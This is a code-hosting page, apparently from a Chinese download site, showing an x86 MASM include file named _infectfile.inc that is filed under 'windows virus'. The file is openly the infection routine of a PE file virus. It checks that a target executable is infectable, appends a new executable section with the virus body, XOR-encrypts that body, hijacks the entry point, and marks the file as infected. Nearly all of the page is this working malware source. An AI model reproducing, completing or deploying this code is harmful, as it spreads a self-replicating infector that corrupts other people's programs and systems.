⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 _infectfile.inc

📁 windows virus
💻 INC
字号:
	INCLUDE	_Align.inc
;###########################################################################
;#			    感染指定文件				   #
;###########################################################################

	_InfectFile	PROC	_lpszFileName
		LOCAL	@hFile , @hMap , @pView
		LOCAL	@dwFileSize , @dwVirusFileAlignSize
		LOCAL	@bCanInfected , @dwFileAttribute
		
		PUSHAD
		PUSH	0
		POP	@bCanInfected
		;########################################
		;#	    添加异常处理		#
		;########################################
		ASSUME	FS : NOTHING
		PUSH	EBP
		LEA	EAX , [EBX + @Infect_SafePlace]
		PUSH	EAX
		LEA	EAX , [EBX + _SEHHandler]
		PUSH	EAX
		XOR	EAX , EAX
		PUSH	FS : [EAX]
		MOV	FS : [EAX] , ESP
		;########################################
		;#	   设置文件属性到可写		#
		;########################################
		PUSH	_lpszFileName
		CALL	[EBX + G_pGetFileAttributes]
		MOV	@dwFileAttribute , EAX
		PUSH	FILE_ATTRIBUTE_NORMAL
		PUSH	_lpszFileName
		CALL	[EBX + G_pSetFileAttributes]
		;########################################
		;#	    打开待感染文件		#
		;########################################
		XOR	EAX , EAX
		PUSH	EAX 
		PUSH	FILE_ATTRIBUTE_NORMAL
		PUSH	OPEN_EXISTING
		PUSH	EAX
		PUSH	EAX
		PUSH	GENERIC_READ OR GENERIC_WRITE
		PUSH	_lpszFileName
		CALL	[EBX + G_pCreateFile]
		INC	EAX
		JZ	@Infect_SafePlace
		DEC	EAX
		MOV	@hFile , EAX
		;########################################
		;#		得到文件大小		#
		;########################################
		PUSH	0
		PUSH	EAX
		CALL	[EBX + G_pGetFileSize]
		OR	EAX , EAX
		JZ	@CloseFile
		MOV	@dwFileSize , EAX
		;########################################
		;#	    创建文件映射		#
		;########################################
		PUSH	0
		POP	@dwVirusFileAlignSize
	@MapFile:
		XOR	EAX , EAX
		PUSH	EAX
		MOV	EDX , @dwFileSize
		ADD	EDX , @dwVirusFileAlignSize
		PUSH	EDX
		PUSH	EAX
		PUSH	PAGE_READWRITE
		PUSH	EAX
		PUSH	@hFile
		CALL	[EBX + G_pCreateFileMapping]
		OR	EAX , EAX
		JZ	@CloseFile
		MOV	@hMap , EAX
		;########################################
		;#	     映射文件到内存		#
		;########################################
		XOR	EAX , EAX
		PUSH	EAX
		PUSH	EAX
		PUSH	EAX
		PUSH	FILE_MAP_WRITE
		PUSH	@hMap
		CALL	[EBX + G_pMapViewOfFile]
		OR	EAX , EAX
		JZ	@CloseMap
		MOV	@pView , EAX
		;########################################
		;#	 如果可以感染,直接去感染	#
		;########################################
		DEC	@bCanInfected
		JZ	@Infect_Core
		INC	@bCanInfected
		;########################################
		;#	    检查是否文件可感染		#
		;########################################
		;第一步: 检查是否为 DOS 程序
		MOV	ESI , @pView
		ASSUME	ESI : PTR IMAGE_DOS_HEADER
		CMP	[ESI].e_magic , IMAGE_DOS_SIGNATURE
		JNE	@UnmapView
		;第二步: 检查是否为 有效的PE 程序
		ADD	ESI , [ESI].e_lfanew
		ASSUME	ESI : PTR IMAGE_NT_HEADERS
		CMP	WORD PTR [ESI].Signature, IMAGE_NT_SIGNATURE
		JNE	@UnmapView
		;第三步: 检查是否为可执行程序
		TEST	[ESI].FileHeader.Characteristics , 02H
		JZ	@UnmapView
		;第四步: 检查是否为 GUI 图形界面程序
		TEST	[ESI].OptionalHeader.Subsystem , 02H
		JZ	@UnmapView
		;第五步: 检查是否为已经感染的程序
		OR	DWORD PTR [ESI - 04H] , 0
		JNE	@UnmapView
		;第六步: 检查有无足够空间存放新节信息
		; ① 计算最后一个节表到第一节的空间
		; 使 ECX 保存加入新节表后的数目
		MOVZX	ECX , [ESI].FileHeader.NumberOfSections
		; 使 EAX 指向第一个节
		MOV	EAX , [ESI].OptionalHeader.SizeOfHeaders
		ADD	EAX , @pView	
		; 使 EDI 指向第一个节表
		MOV	EDI , ESI
		ADD	EDI , SIZEOF IMAGE_NT_HEADERS
		
		ASSUME	EDI : PTR IMAGE_SECTION_HEADER
		; 循环下一节表,检查加入新节表后数据
		; 是否与第一个节重叠 ,如果重叠不感染
	@@:
		ADD	EDI , SIZEOF IMAGE_SECTION_HEADER
		LOOPNZ	@B
		SUB	EAX , SIZEOF IMAGE_SECTION_HEADER
		CMP	EDI , EAX
		JAE	@UnmapView
		; ② 计算病毒代码按文件对齐(FileAlignment)
		;    进行对齐后大小
		PUSH	[ESI].OptionalHeader.FileAlignment
		PUSH	OFFSET V_CODE_END - OFFSET V_CODE_START
		LEA	EAX , [EBX + _Align]
		CALL	EAX
		MOV	@dwVirusFileAlignSize , EAX
		; ③ 计算源文件按文件对齐(SectionAlignment)
		;    进行对齐后大小
		PUSH	[ESI].OptionalHeader.FileAlignment
		PUSH	@dwFileSize
		LEA	EAX , [EBX + _Align]
		CALL	EAX
		MOV	@dwFileSize , EAX	
		
		; ④ 重新映射文件到内存以生成新的文件 
		INC	@bCanInfected
		JMP	@MapFile
		
	@Infect_Core:
		;########################################
		;#	    修改SizeOfImage		#
		;########################################
		PUSH	[ESI].OptionalHeader.SectionAlignment
		PUSH	OFFSET V_CODE_END - OFFSET V_CODE_START
		LEA	EAX , [EBX + _Align]
		CALL	EAX
		ADD	[ESI].OptionalHeader.SizeOfImage , EAX
		;########################################
		;#    设置新节的 SizeOfRawData		#
		;#    增加PE头的 SizeOfCode 		#
		;########################################
		MOV	EAX , @dwVirusFileAlignSize
		MOV	[EDI].SizeOfRawData , EAX
		ADD	[ESI].OptionalHeader.SizeOfCode , EAX
		;########################################
		;#		增加一个节		#
		;########################################
		INC	[ESI].FileHeader.NumberOfSections
		;########################################
		;#		设置节名称		#
		;########################################
		PUSH	@hMap
		POP	DWORD PTR [EDI].Name1
		;;########################################
		;   设置新节的原始数据大小
		;;########################################
		MOV	[EDI].Misc.VirtualSize , \
			OFFSET V_CODE_END - OFFSET V_CODE_START
		;########################################
		;#  	 新节数据在文件中偏移		#
		;########################################
		PUSH	@dwFileSize
		POP	[EDI].PointerToRawData
		;########################################
		;#     设置新节属性,可执行,写,读	#
		;########################################
		MOV	[EDI].Characteristics , 0E0000020H
		;########################################
		;#  设置新节在内存中偏移 , 上一节的偏移 #
		;#  (VirtualSize)加上一节数据大小按内存 #
		;#  对齐后的大小			#
		;########################################
		PUSH	[ESI].OptionalHeader.SectionAlignment
		PUSH	[EDI - 028H].Misc.VirtualSize
		LEA	EAX , [EBX + _Align]
		CALL	EAX
		ADD	EAX , [EDI - 028H].VirtualAddress
		MOV	[EDI].VirtualAddress , EAX
		;########################################
		;#	    设置程序入口		#
		;########################################
		MOV	EAX , [ESI].OptionalHeader.AddressOfEntryPoint
		PUSH	[EDI].VirtualAddress
		POP	[ESI].OptionalHeader.AddressOfEntryPoint
		ADD	[ESI].OptionalHeader.AddressOfEntryPoint , \
			OFFSET V_Start - OFFSET V_CODE_START
		;########################################
		;#	        设置跳转入口		#
		;########################################
		SUB	EAX , [ESI].OptionalHeader.AddressOfEntryPoint
		SUB	EAX , OFFSET V_End - OFFSET V_Start + 5
		PUSH	[EBX + G_JmpPosition]	;保存原程序的JUMP入口
		MOV	[EBX + G_JmpPosition] , EAX
		;########################################
		;#	    设置感染标志		#
		;########################################
		PUSH	@hMap
		POP	DWORD PTR [ESI - 4]
		;########################################
		;#	    拷贝并加密数据		#
		;########################################
		LEA	ESI , [EBX + V_CODE_START]
		MOV	EDI , @pView
		ADD	EDI , @dwFileSize
		MOV	ECX , OFFSET V_CODE_END - OFFSET V_CODE_START
		REP	MOVSB
		
		SUB	EDI , OFFSET V_CODE_END - OFFSET V_CODE_START
		MOV	ECX , OFFSET V_Encrypt_End - OFFSET V_CODE_START
		SHR	EAX , 3
	@Encrypt:
		XOR	[EDI] , AL
		INC	EDI
		LOOPNZ	@Encrypt
		
		POP	[EBX + G_JmpPosition];恢复本程序的JUMP入口
		ASSUME	ESI : NOTHING , EDI : NOTHING
		;########################################
		;#		释放资源		#
		;########################################
	@UnmapView:
		PUSH	@pView
		CALL	[EBX + G_pUnmapViewOfFile]
	@CloseMap:
		PUSH	@hMap
		CALL	[EBX + G_pCloseHandle]	
	@CloseFile:
		PUSH	@hFile
		CALL	[EBX + G_pCloseHandle]
	@Infect_SafePlace:
		;########################################
		;#	        恢复文件属性		#
		;########################################
		PUSH	@dwFileAttribute
		PUSH	_lpszFileName
		CALL	[EBX + G_pSetFileAttributes]
		;########################################
		;#	      恢复异常处理		#
		;########################################
		XOR	EAX , EAX
		POP	FS : [EAX]
		ADD	ESP , 0CH
		
		POPAD
		RET
	_InfectFile	ENDP
;###########################################################################
;#				感染文件结束			   	   #
;###########################################################################

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -